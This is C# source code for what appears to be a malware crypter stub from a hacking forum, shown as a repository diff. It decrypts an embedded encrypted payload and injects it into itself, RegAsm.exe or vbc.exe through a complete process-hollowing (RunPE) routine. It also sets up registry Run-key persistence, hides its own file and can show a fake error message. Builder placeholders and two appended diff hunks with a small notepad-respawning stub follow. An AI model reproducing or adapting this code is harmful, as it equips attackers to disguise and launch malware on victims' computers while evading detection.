[assembly: AssemblyCompany("[company-replace]")]
|
||||
[assembly: AssemblyProduct("[product-replace]")]
|
||||
[assembly: AssemblyCopyright("[copyright-replace]")]
|
||||
[assembly: AssemblyTrademark("[trademark-replace]")]
|
||||
[assembly: AssemblyVersion("[version-replace]")]
|
||||
[assembly: AssemblyFileVersion("[fversion-replace]")]
|
||||
//Copyright 2016
|
||||
//Made by mrmutt for hackforums uid=3005497
|
||||
//Please leave this note here
|
||||
namespace stupidcancercodeisruiningeverything
|
||||
{
|
||||
|
||||
static class Program
|
||||
{
|
||||
[STAThread]
|
||||
static void Main()
|
||||
{
|
||||
//Basic delay
|
||||
Thread.Sleep([delay-replace] * 1000);
|
||||
Application.EnableVisualStyles();
|
||||
Application.SetCompatibleTextRenderingDefault(false);
|
||||
Application.Run(new FrmOne());
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
class Reader
|
||||
{
|
||||
//Reading the encrypted bytes from our resource file
|
||||
public static byte[] ReadManaged()
|
||||
{
|
||||
ResourceManager manager = new ResourceManager("Encrypted", Assembly.GetEntryAssembly());
|
||||
byte[] bytes = (byte[])manager.GetObject("encfile");
|
||||
return bytes;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public class FrmOne : Form
|
||||
{
|
||||
//Making the form hidden
|
||||
private void InitializeComponent()
|
||||
{
|
||||
|
||||
SuspendLayout();
|
||||
ResumeLayout(false);
|
||||
PerformLayout();
|
||||
ShowInTaskbar = false;
|
||||
WindowState = FormWindowState.Minimized;
|
||||
|
||||
}
|
||||
//Self explantory
|
||||
bool _startup = [startup-replace];
|
||||
string injectTo = "[inject-replace]";
|
||||
bool _fakemessage = [fakemessage-replace];
|
||||
string injectionPath2 = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "RegAsm.exe");
|
||||
string injectionPath3 = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "vbc.exe");
|
||||
public FrmOne()
|
||||
{
|
||||
|
||||
InitializeComponent();
|
||||
|
||||
//Giving a byte array for our encrypted bytes
|
||||
byte[] fBytes = Reader.ReadManaged();
|
||||
//The encryption key
|
||||
string encKey = "[key-replace]";
|
||||
//The encryption key in bytes
|
||||
byte[] encKey2 = Encoding.UTF8.GetBytes(encKey);
|
||||
//Makign a hash for the encryption key
|
||||
encKey2 = SHA256.Create().ComputeHash(encKey2);
|
||||
//The decrypted bytes
|
||||
byte[] eBytes = AESDecrypt(fBytes,encKey2);
|
||||
//Crypting process
|
||||
string result = Encoding.UTF8.GetString(eBytes);
|
||||
//The all decrypted bytes
|
||||
byte[] eBytes2 = Convert.FromBase64String(result);
|
||||
//If user choosed startup add to startup
|
||||
|
||||
if (_startup)
|
||||
AddToStartup();
|
||||
//Make the file hidden
|
||||
HideFile();
|
||||
|
||||
Thread.Sleep(500);
|
||||
|
||||
//Use the runpe to inject the decrypted bytes into a process of our injection method choice
|
||||
if(injectTo == "[itself]")
|
||||
KillerMemestart.FMEMES(System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName,"",eBytes2);
|
||||
|
||||
if(injectTo =="[regasm]")
|
||||
KillerMemestart.FMEMES(injectionPath2, "", eBytes2);
|
||||
|
||||
if(injectTo == "[vbc]")
|
||||
KillerMemestart.FMEMES(injectionPath3, "", eBytes2);
|
||||
|
||||
//Fake Message
|
||||
if(_fakemessage)
|
||||
{
|
||||
MessageBox.Show("[messagetext-replace]", "[messagetitle-replace]", MessageBoxButtons.OK,MessageBoxIcon.Error);
|
||||
}
|
||||
//Stopping the program because runpe is already injected
|
||||
Environment.Exit(0);
|
||||
}
|
||||
|
||||
|
||||
//Decryption method
|
||||
public static byte[] AESDecrypt(byte[] decrypted, byte[] key2)
|
||||
{
|
||||
byte[] decryptedBytes = null;
|
||||
|
||||
byte[] saltBytes = new byte[] {1, 2, 3, 4, 5, 6, 7, 8};
|
||||
|
||||
using (MemoryStream ms = new MemoryStream())
|
||||
{
|
||||
using (RijndaelManaged AES = new RijndaelManaged())
|
||||
{
|
||||
AES.KeySize = 256;
|
||||
AES.BlockSize = 128;
|
||||
|
||||
Rfc2898DeriveBytes key = new Rfc2898DeriveBytes(key2, saltBytes, 1000);
|
||||
AES.Key = key.GetBytes(AES.KeySize/8);
|
||||
AES.IV = key.GetBytes(AES.BlockSize/8);
|
||||
|
||||
AES.Mode = CipherMode.CBC;
|
||||
|
||||
using (CryptoStream cs = new CryptoStream(ms, AES.CreateDecryptor(), CryptoStreamMode.Write))
|
||||
{
|
||||
cs.Write(decrypted, 0, decrypted.Length);
|
||||
cs.Close();
|
||||
}
|
||||
decryptedBytes = ms.ToArray();
|
||||
}
|
||||
}
|
||||
return decryptedBytes;
|
||||
}
|
||||
//The adding to startup
|
||||
public void AddToStartup()
|
||||
{
|
||||
|
||||
string path = Path.Combine(Application.UserAppDataPath, "[fname-replace]");
|
||||
string path2 = Path.Combine(path, "[finame-replace].exe");
|
||||
|
||||
if (!File.Exists(path2))
|
||||
{
|
||||
DirectoryInfo di = Directory.CreateDirectory(path);
|
||||
File.Copy(Application.ExecutablePath, path2, true);
|
||||
RegistryKey key = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
|
||||
if (key != null) key.SetValue("[regkey-replace]", path2);
|
||||
}
|
||||
}
|
||||
|
||||
public void HideFile()
|
||||
{
|
||||
//Hiding
|
||||
FileInfo f = new FileInfo(Application.ExecutablePath);
|
||||
f.Attributes = FileAttributes.Hidden;
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
static class KillerMemestart
|
||||
{
|
||||
|
||||
[DllImport("kernel32.dll", EntryPoint = "CreateProcess", CharSet = CharSet.Unicode)]
|
||||
private static extern bool CreateProcess(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes, bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref StartupInformation startupInfo, ref ProcessInformation processInformation);
|
||||
|
||||
[DllImport("kernel32.dll", EntryPoint = "GetThreadContext")]
|
||||
private static extern bool GetThreadContext(IntPtr thread, int[] context);
|
||||
|
||||
[DllImport("kernel32.dll", EntryPoint = "SetThreadContext")]
|
||||
private static extern bool SetThreadContext(IntPtr thread, int[] context);
|
||||
|
||||
[DllImport("kernel32.dll", EntryPoint = "ReadProcessMemory")]
|
||||
private static extern bool ReadProcessMemory(IntPtr process, int baseAddress, ref int buffer, int bufferSize, ref int bytesRead);
|
||||
|
||||
[DllImport("kernel32.dll", EntryPoint = "WriteProcessMemory")]
|
||||
private static extern bool WriteProcessMemory(IntPtr process, int baseAddress, byte[] buffer, int bufferSize, ref int bytesWritten);
|
||||
|
||||
[DllImport("ntdll.dll", EntryPoint = "NtUnmapViewOfSection")]
|
||||
private static extern int NtUnmapViewOfSection(IntPtr process, int baseAddress);
|
||||
|
||||
[DllImport("kernel32.dll", EntryPoint = "VirtualAllocEx")]
|
||||
private static extern int VirtualAllocEx(IntPtr handle, int address, int length, int type, int protect);
|
||||
|
||||
[DllImport("kernel32.dll", EntryPoint = "ResumeThread")]
|
||||
private static extern int ResumeThread(IntPtr handle);
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
||||
private struct ProcessInformation
|
||||
{
|
||||
public readonly IntPtr ProcessHandle;
|
||||
public readonly IntPtr ThreadHandle;
|
||||
private readonly uint ProcessId;
|
||||
private readonly uint ThreadId;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
||||
private struct StartupInformation
|
||||
{
|
||||
public uint Size;
|
||||
private readonly string Reserved1;
|
||||
private readonly string Desktop;
|
||||
|
||||
private readonly string Title;
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 36)]
|
||||
private readonly byte[] Misc;
|
||||
private readonly IntPtr Reserved2;
|
||||
private readonly IntPtr StdInput;
|
||||
private readonly IntPtr StdOutput;
|
||||
private readonly IntPtr StdError;
|
||||
}
|
||||
public static bool FMEMES(string path, string cmd, byte[] data)
|
||||
{
|
||||
|
||||
int readWrite = 0;
|
||||
string quotedPath = string.Format("\"{0}\"", path);
|
||||
|
||||
StartupInformation si = new StartupInformation();
|
||||
ProcessInformation pi = new ProcessInformation();
|
||||
|
||||
si.Size = Convert.ToUInt32(Marshal.SizeOf(typeof(StartupInformation)));
|
||||
|
||||
if (string.IsNullOrEmpty(cmd))
|
||||
{
|
||||
if (!CreateProcess(path, quotedPath, IntPtr.Zero, IntPtr.Zero, false, 4, IntPtr.Zero, null, ref si, ref pi))
|
||||
return false;
|
||||
}
|
||||
else
|
||||
{
|
||||
quotedPath = quotedPath + " " + cmd;
|
||||
if (!CreateProcess(path, quotedPath, IntPtr.Zero, IntPtr.Zero, false, 4, IntPtr.Zero, null, ref si, ref pi))
|
||||
return false;
|
||||
}
|
||||
|
||||
int fileAddress = BitConverter.ToInt32(data, 60);
|
||||
int imageBase = BitConverter.ToInt32(data, fileAddress + 52);
|
||||
|
||||
int[] context = new int[179];
|
||||
context[0] = 65538;
|
||||
|
||||
if (!GetThreadContext(pi.ThreadHandle, context))
|
||||
return false;
|
||||
|
||||
int ebx = context[41];
|
||||
int baseAddress = 0;
|
||||
|
||||
if (!ReadProcessMemory(pi.ProcessHandle, ebx + 8, ref baseAddress, 4, ref readWrite))
|
||||
return false;
|
||||
|
||||
if (imageBase == baseAddress)
|
||||
{
|
||||
if (NtUnmapViewOfSection(pi.ProcessHandle, baseAddress) != 0)
|
||||
return false;
|
||||
}
|
||||
|
||||
int sizeOfImage = BitConverter.ToInt32(data, fileAddress + 80);
|
||||
int sizeOfHeaders = BitConverter.ToInt32(data, fileAddress + 84);
|
||||
|
||||
bool allowOverride = false;
|
||||
int newImageBase = VirtualAllocEx(pi.ProcessHandle, imageBase, sizeOfImage, 12288, 64);
|
||||
|
||||
if (newImageBase == 0)
|
||||
{
|
||||
allowOverride = true;
|
||||
newImageBase = VirtualAllocEx(pi.ProcessHandle, 0, sizeOfImage, 12288, 64);
|
||||
if (newImageBase == 0)
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!WriteProcessMemory(pi.ProcessHandle, newImageBase, data, sizeOfHeaders, ref readWrite))
|
||||
return false;
|
||||
|
||||
int sectionOffset = fileAddress + 248;
|
||||
short numberOfSections = BitConverter.ToInt16(data, fileAddress + 6);
|
||||
|
||||
for (int I = 0; I <= numberOfSections - 1; I++)
|
||||
{
|
||||
int virtualAddress = BitConverter.ToInt32(data, sectionOffset + 12);
|
||||
int sizeOfRawData = BitConverter.ToInt32(data, sectionOffset + 16);
|
||||
int pointerToRawData = BitConverter.ToInt32(data, sectionOffset + 20);
|
||||
|
||||
if (sizeOfRawData != 0)
|
||||
{
|
||||
byte[] sectionData = new byte[sizeOfRawData];
|
||||
Buffer.BlockCopy(data, pointerToRawData, sectionData, 0, sectionData.Length);
|
||||
|
||||
if (!WriteProcessMemory(pi.ProcessHandle, newImageBase + virtualAddress, sectionData, sectionData.Length, ref readWrite))
|
||||
return false;
|
||||
}
|
||||
|
||||
sectionOffset += 40;
|
||||
}
|
||||
|
||||
byte[] pointerData = BitConverter.GetBytes(newImageBase);
|
||||
if (!WriteProcessMemory(pi.ProcessHandle, ebx + 8, pointerData, 4, ref readWrite))
|
||||
return false;
|
||||
|
||||
int addressOfEntryPoint = BitConverter.ToInt32(data, fileAddress + 40);
|
||||
|
||||
if (allowOverride)
|
||||
newImageBase = imageBase;
|
||||
context[44] = newImageBase + addressOfEntryPoint;
|
||||
|
||||
if (!SetThreadContext(pi.ThreadHandle, context))
|
||||
return false;
|
||||
if (ResumeThread(pi.ThreadHandle) == -1)
|
||||
return false;
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,48 @@
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Reflection;
|
||||
using System.Resources;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Cryptography;
|
||||
using System.Diagnostics;
|
||||
using Timer = System.Timers.Timer;
|
||||
|
||||
namespace fuckcancercode
|
||||
{
|
||||
static class Program
|
||||
{
|
||||
[STAThread]
|
||||
static void Main0()
|
||||
{
|
||||
Application.EnableVisualStyles();
|
||||
Application.SetCompatibleTextRenderingDefault(false);
|
||||
Application.Run(new FrmOne());
|
||||
}
|
||||
|
||||
|
||||
public class FrmOne : Form
|
||||
{
|
||||
public FrmOne()
|
||||
{
|
||||
Timer timer1 = new Timer();
|
||||
timer1.Interval = 500;
|
||||
timer1.Start();
|
||||
}
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
string pers = "notepad.exe";
|
||||
if (Process.GetProcessesByName(pers).Length < 1)
|
||||
{
|
||||
|
||||
{
|
||||
Process.Start(pers);
|
||||
// Is running
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,48 @@
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Reflection;
|
||||
using System.Resources;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Cryptography;
|
||||
using System.Diagnostics;
|
||||
using Timer = System.Timers.Timer;
|
||||
|
||||
namespace fuckcancercode
|
||||
{
|
||||
static class Program
|
||||
{
|
||||
[STAThread]
|
||||
static void Main()
|
||||
{
|
||||
Application.EnableVisualStyles();
|
||||
Application.SetCompatibleTextRenderingDefault(false);
|
||||
Application.Run(new FrmOne());
|
||||
}
|
||||
|
||||
|
||||
public class FrmOne : Form
|
||||
{
|
||||
public FrmOne()
|
||||
{
|
||||
Timer timer1 = new Timer();
|
||||
timer1.Interval = 500;
|
||||
timer1.Start();
|
||||
}
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
string pers = "notepad.exe";
|
||||
if (Process.GetProcessesByName(pers).Length < 1)
|
||||
{
|
||||
|
||||
{
|
||||
Process.Start(pers);
|
||||
// Is running
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user